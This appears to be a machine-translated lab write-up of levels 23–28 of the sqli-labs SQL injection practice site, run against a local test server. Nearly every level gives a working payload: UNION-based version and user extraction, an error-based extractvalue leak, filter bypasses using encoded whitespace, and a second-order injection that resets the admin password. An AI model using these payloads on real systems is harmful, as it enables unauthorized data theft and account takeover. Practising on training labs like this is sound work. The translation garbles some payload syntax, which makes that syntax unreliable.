"20171101 early" sqli-libs less 23-28

Less 23:

Topic:

Analysis: Payload:http://192.168.162.135/sqli-libs/less-23/?id=-1 ' Union select 1, @ @version, 3--+ failed, should be filtered to--+, so the revision changed to

Payload:http://192.168.162.135/sqli-libs/less-23/?id=-1 ' Union Select 1, @ @version, ' 3 remove--+, change to ' 3 for closed SQL '

Less 24:

Topic:

Analysis: Storage-type injection, the first admin ' #用户insert database, and then re-update the admin password, will

TRY:

S1: Click on the new user click here, register Admin ' # User, password is 222

S2: View the database, admin ' #已经存在

S3: Login system, change admin password to 111

　　　　

S4: Check to see if the admin ' #用户的密码 or admin password is changed?!!

The change is the password of the admin, so that we can use the admin login system. Ok!

Less 25:

Topic:

Analysis: Filtering for and and or, with substitution

Add <=> &&

or <=> | |

TRY:

Payload:http://192.168.162.135/sqli-libs/less-25/?id=1 ' | | Extractvalue (1, concat (0x7e, Database ()))--+

Effect: The name of the database is exposed in the error log, and other information is similar to this way!

Less 25a:

Analysis: Unlike less 25, it is closed and does not need to be added '

TRY:

Payload:http://192.168.162.135/sqli-libs/less-25a/?id=-1 Union Select 1,@ @version, 3--+

Less 26:

Topic:

Analysis: Spaces and comments are filtered, and replacement techniques are used here. URL encoding Table

　　　　

TRY:

Payload:http://192.168.162.135/sqli-libs/less-26/?id=100 ' union%0bselect%a01,@ @version, 3| | ' 1

Effect:

Less 26a:

Similar to less 26, the closed mode becomes ')

Payload:http://192.168.162.135/sqli-libs/less-26a/?id=100 ') union%0bselect%a01,@ @version, 3| | (' 1

　　

Less 27:

Topic:

Analysis: Union,select characters and characters in LESS26 are filtered to change the union to Union,select to select

TRY:

Payload:http://192.168.162.135/sqli-libs/less-27/?id=100 ' Union%0bselect%a01,user (), 3| | ' 1

Effect:

Less 27a:

Analysis: The closed mode becomes "

Payload:http://192.168.162.135/sqli-libs/less-27a/?id=100 "Union%0bselect%a01,user (), 3| |" 1

Less 28:

Analysis: Closed mode becomes ')

Payload:http://192.168.162.135/sqli-libs/less-28/?id=100 ') Union%0bselect%a01,user (), 3| | (' 1

"20171101 early" sqli-libs less 23-28